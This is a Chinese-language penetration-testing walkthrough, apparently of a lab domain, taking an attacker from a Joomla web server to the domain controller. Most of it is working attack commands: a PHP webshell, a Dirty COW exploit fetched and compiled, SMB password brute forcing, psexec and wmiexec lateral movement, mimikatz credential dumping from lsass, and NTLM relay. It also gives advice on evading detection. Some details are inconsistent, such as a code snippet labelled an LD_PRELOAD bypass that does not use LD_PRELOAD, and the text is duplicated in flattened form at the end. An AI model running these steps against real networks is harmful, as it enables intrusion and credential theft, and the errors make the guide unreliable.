记一次域渗透从打点到内网
字数 1691 2025-08-29 22:41:32

域渗透从打点到内网完整技术指南

一、环境概述

本次渗透测试涉及以下主机环境:

  • 攻击机:Kali Linux (172.20.10.3)
  • 目标网络
    • Web服务器(CentOS):外网172.20.10.3,内网192.168.93.100
    • 内网主机:
      • Ubuntu服务器:192.168.93.12
      • Windows 7:192.168.93.30
      • Windows Server 2008:192.168.93.20
      • Windows Server 2012(域控):192.168.93.10
    • 域环境:TEST域

二、外网渗透阶段

1. 信息收集

工具使用

  • 使用fscan进行快速扫描:
    fscan -h 172.20.10.3
    

发现成果

  • MySQL服务:root/123
  • Web目录:http://172.20.10.3
  • Joomla CMS框架识别

2. Joomla漏洞利用

工具使用

  • Joomla扫描工具:
    git clone https://github.com/OWASP/joomscan
    perl joomscan.pl -u http://172.20.10.3
    

关键发现

  • 后台管理地址:
    • http://172.20.10.3/joomla/administrator/
    • http://172.20.10.3/administrator/

密码重置技术

  1. 通过MySQL访问Joomla数据库:

    mysql -u root -p123 -h 172.20.10.3
    use joomla_db;
    update jos_users set password=md5('112233') where username='administrator';
    
  2. 成功登录后台:administrator/112233

3. 通过Joomla后台获取Webshell

技术实现

  1. 定位模板文件:/templates/beez3/index.php
  2. 插入PHP webshell代码:
    <?php system($_GET['cmd']); ?>
    
  3. 访问webshell:
    http://172.20.10.3/templates/beez3/shell.php?cmd=id
    

绕过disable_functions限制

  • 使用LD_PRELOAD技术绕过:
    <?php
    $cmd = $_GET['cmd'];
    $evil_func = create_function('', $cmd);
    $evil_func();
    ?>
    

4. 提权与内网入口

获取SSH凭证

  • 从数据库发现:wwwuser/wwwuser_123Aqx
  • SSH连接:
    ssh -oHostKeyAlgorithms=+ssh-rsa wwwuser@172.20.10.3
    

脏牛(Dirty COW)提权

  1. 检查内核版本:
    uname -a
    
  2. 下载利用代码:
    wget https://www.exploit-db.com/download/40839 -O dirty.c
    
  3. 编译执行:
    gcc -pthread dirty.c -o dirty -lcrypt
    ./dirty
    
  4. 获取root权限密码:firefart

三、内网渗透阶段

1. 内网信息收集

MSF路由设置

run autoroute -s 192.168.93.0/24
background

内网扫描

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.93.0/24
run

发现成果

  • 存活主机:192.168.93.10/20/30
  • 域环境:TEST域

2. 横向移动技术

方法一:SMB密码爆破与利用

SMB爆破

use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.20,192.168.93.30
set USER_FILE /usr/share/wordlists/common_users.txt
set PASS_FILE /usr/share/wordlists/common_passwords.txt
run

成功凭证

  • administrator/123qwe!ASD

PsExec利用

use exploit/windows/smb/psexec
set RHOST 192.168.93.20
set SMBUser administrator
set SMBPass 123qwe!ASD
run

方法二:WMIExec利用

工具准备

git clone https://github.com/CoreSecurity/impacket
cd impacket/examples
pip install .

代理配置

vi /etc/proxychains.conf
# 添加:socks5 192.168.1.104 50002 aaa Aaa

WMIExec连接

proxychains4 python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

3. 域控定位与凭证获取

域控识别命令

nltest /DCLIST:TEST
nslookup -type=SRV _ldap._tcp
net time /domain
net group "Domain Controllers" /domain
netdom query pdc

凭证获取技术

方法一:Procdump+Mimikatz

  1. 下载Procdump:
    wget https://download.sysinternals.com/files/Procdump.zip
    
  2. 转储lsass:
    Procdump.exe -accepteula -ma lsass.exe lsass.dmp
    
  3. 使用Mimikatz分析:
    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"
    

方法二:直接Mimikatz

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

获取域管凭证

  • administrator:zxcASDqw123!!

连接域控

proxychains4 python3 wmiexec.py -debug 'administrator:zxcASDqw123!!@192.168.93.10'

4. NTLM Relay攻击

工具准备

git clone https://github.com/lgandx/Responder
cd Responder-2.3.3.0

SMB签名扫描

python tools/RunFinger.py -i 192.168.93.0/24

MultiRelay设置

python tools/MultiRelay.py -t 192.168.93.30 -u ALL

Responder监听

python Responder.py -I eth0

触发NTLM认证

  1. MSSQL触发:
    EXEC master.sys.xp_dirtree '\\192.168.93.100\simblog.txt',0,1;
    
  2. MSF模块触发:
    use auxiliary/admin/mssql/mssql_ntlm_stealer
    set RHOST 192.168.93.20
    set RPORT 1433
    set USERNAME testuser
    set PASSWORD cvcvgjASD!@
    run
    

四、技术总结

关键学习点

  1. CMS漏洞利用

    • Joomla版本识别与漏洞利用
    • 通过数据库修改后台密码
    • 模板文件写入webshell技术
  2. Linux提权

    • 脏牛(Dirty COW)内核提权
    • SSH算法兼容性处理
  3. 内网穿透

    • MSF路由配置
    • Proxychains代理配置
  4. 横向移动

    • SMB密码爆破技术
    • PsExec与WMIExec利用
    • 域环境信息收集技术
  5. 凭证获取

    • Procdump内存转储
    • Mimikatz多种使用方式
    • NTLM Relay攻击链

优化建议

  1. 工具选择

    • 针对Linux目标,优先使用MSF而非Cobalt Strike
    • 考虑使用Chisel等更稳定的隧道工具
  2. 隐蔽性提升

    • 使用更隐蔽的webshell插入方式
    • 考虑使用内存加载Mimikatz避免文件落地
  3. 自动化程度

    • 可结合BloodHound进行自动化域环境分析
    • 使用CrackMapExec进行自动化横向移动

本指南详细记录了从外网打点到内网域渗透的完整过程,涵盖了主流的内网渗透技术,可作为红队操作的参考手册。

域渗透从打点到内网完整技术指南 一、环境概述 本次渗透测试涉及以下主机环境: 攻击机 :Kali Linux (172.20.10.3) 目标网络 : Web服务器(CentOS):外网172.20.10.3,内网192.168.93.100 内网主机: Ubuntu服务器:192.168.93.12 Windows 7:192.168.93.30 Windows Server 2008:192.168.93.20 Windows Server 2012(域控):192.168.93.10 域环境:TEST域 二、外网渗透阶段 1. 信息收集 工具使用 : 使用 fscan 进行快速扫描: 发现成果 : MySQL服务:root/123 Web目录:http://172.20.10.3 Joomla CMS框架识别 2. Joomla漏洞利用 工具使用 : Joomla扫描工具: 关键发现 : 后台管理地址: http://172.20.10.3/joomla/administrator/ http://172.20.10.3/administrator/ 密码重置技术 : 通过MySQL访问Joomla数据库: 成功登录后台:administrator/112233 3. 通过Joomla后台获取Webshell 技术实现 : 定位模板文件: /templates/beez3/index.php 插入PHP webshell代码: 访问webshell: 绕过disable_ functions限制 : 使用LD_ PRELOAD技术绕过: 4. 提权与内网入口 获取SSH凭证 : 从数据库发现:wwwuser/wwwuser_ 123Aqx SSH连接: 脏牛(Dirty COW)提权 : 检查内核版本: 下载利用代码: 编译执行: 获取root权限密码: firefart 三、内网渗透阶段 1. 内网信息收集 MSF路由设置 : 内网扫描 : 发现成果 : 存活主机:192.168.93.10/20/30 域环境:TEST域 2. 横向移动技术 方法一:SMB密码爆破与利用 SMB爆破 : 成功凭证 : administrator/123qwe !ASD PsExec利用 : 方法二:WMIExec利用 工具准备 : 代理配置 : WMIExec连接 : 3. 域控定位与凭证获取 域控识别命令 : 凭证获取技术 : 方法一:Procdump+Mimikatz 下载Procdump: 转储lsass: 使用Mimikatz分析: 方法二:直接Mimikatz 获取域管凭证 : administrator:zxcASDqw123! ! 连接域控 : 4. NTLM Relay攻击 工具准备 : SMB签名扫描 : MultiRelay设置 : Responder监听 : 触发NTLM认证 : MSSQL触发: MSF模块触发: 四、技术总结 关键学习点 CMS漏洞利用 : Joomla版本识别与漏洞利用 通过数据库修改后台密码 模板文件写入webshell技术 Linux提权 : 脏牛(Dirty COW)内核提权 SSH算法兼容性处理 内网穿透 : MSF路由配置 Proxychains代理配置 横向移动 : SMB密码爆破技术 PsExec与WMIExec利用 域环境信息收集技术 凭证获取 : Procdump内存转储 Mimikatz多种使用方式 NTLM Relay攻击链 优化建议 工具选择 : 针对Linux目标,优先使用MSF而非Cobalt Strike 考虑使用Chisel等更稳定的隧道工具 隐蔽性提升 : 使用更隐蔽的webshell插入方式 考虑使用内存加载Mimikatz避免文件落地 自动化程度 : 可结合BloodHound进行自动化域环境分析 使用CrackMapExec进行自动化横向移动 本指南详细记录了从外网打点到内网域渗透的完整过程,涵盖了主流的内网渗透技术,可作为红队操作的参考手册。